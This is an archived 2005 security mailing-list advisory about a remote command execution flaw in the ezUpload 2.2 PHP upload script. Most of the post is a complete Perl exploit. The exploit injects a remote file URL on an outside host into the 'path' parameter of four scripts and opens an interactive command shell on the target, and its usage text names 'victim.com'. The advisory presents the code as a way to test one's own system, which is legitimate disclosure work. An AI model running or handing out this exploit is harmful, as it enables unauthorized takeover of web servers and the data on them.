[EXPL] ezUpload path Parameter Command Execution (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/14/05

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Date: 14 Aug 2005 17:51:30 +0200

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      ezUpload path Parameter Command Execution (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    ezUpload is a PHP script that allow web sites
    to manage upload files.

    Due to improper validation of user provided input by ezUpload remote
    attackers can cause the program to execute arbitrary code, the following
    exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Vulnerable Systems:
     * EzUpload version 2.2

    Exploit:
    #!/usr/bin/perl
    #__________
    #\______ \ ____ __| _/ \______ \____________ ____ ____ ____
    # | _// __ \ / __ | | | \_ __ \__ \ / ___\ / _ \ / \
    # | | \ ___// /_/ | | ` \ | \// __ \_/ /_/ > <_> ) | \
    # |____|_ /\___ >____ | /_______ /__| (____ /\___ / \____/|___| /
    # \/ \/ \/ \/ \//_____/ \/
    # Bug Discovered By Johnnie Walker <whisky at bsdmail.org>
    # credits to ATmaCa.....oh no I forgot I ain't kozan so atmaca no credits
    to u
    # Greets: sirh0t , siLgi , Elisabeth And Her Bf Mattias
    # Red Dragon: Nightmare . Johnnie Walker . 3rbil
    # f0rtcu We Never f0rget You

    use IO::Socket;

    if ($ARGV[0] && $ARGV[1])
    {
     $host = $ARGV[0];
     $path = $ARGV[1];
     $target = $ARGV[2];

     $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
    PeerPort => "80") || die "Can't connect!\r\n";
     while (1) {
        print 'RedDrag0n@'.$host.'$ ';
        $cmd = <STDIN>;

        if ($target == 2) {
        $file = "initialize.php?path=http://sinanreklam.net/banner.gif?cmd="
        } elsif ($target == 3) {
        $file = "customize.php?path=http://sinanreklam.net/banner.gif?cmd="
        } elsif ($target == 4) {
        $file = "form.php?path=http://sinanreklam.net/banner.gif?cmd="
        } else {
        $file = "index.php?path=http://sinanreklam.net/banner.gif?cmd="
        }
        chop($cmd);
        last if ($cmd eq 'exit');
        print $sock "GET ".$path.$file.$cmd." HTTP/1.1\r\nHost:
    ".$host."\r\nConnection: Keep-Alive\r\n\r\n";
        $vuln=0;
        while ($ans = <$sock>)
           {
            if ($vuln == 1) { print "$ans"; }
            last if ($ans =~ /^_end_/);
            if ($ans =~ /^_begin_/) { $vuln = 1; }
           }
          if ($vuln == 0) {print "Exploit Failed :(\r\n";exit();}
       }
     }
    else {
     print "EzUpload 2.2 Remote Command Execution\r\n\r\n";
     print "Target files : \r\n\r\n";
     print "1 index.php (default)\r\n";
     print "2 initialize.php\r\n";
     print "3 customize.php\r\n";
     print "4 form.php\r\n\r\n";
     print "Usage: perl $0 <host> <path_to_ezupload> [target_nr] \r\n\r\n";
     print "Example: perl $0 victim.com /ezupload/ 2 \r\n";
    exit;
    }
    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:whisky@bsdmail.org> Batur
    Binbash.

    ========================================

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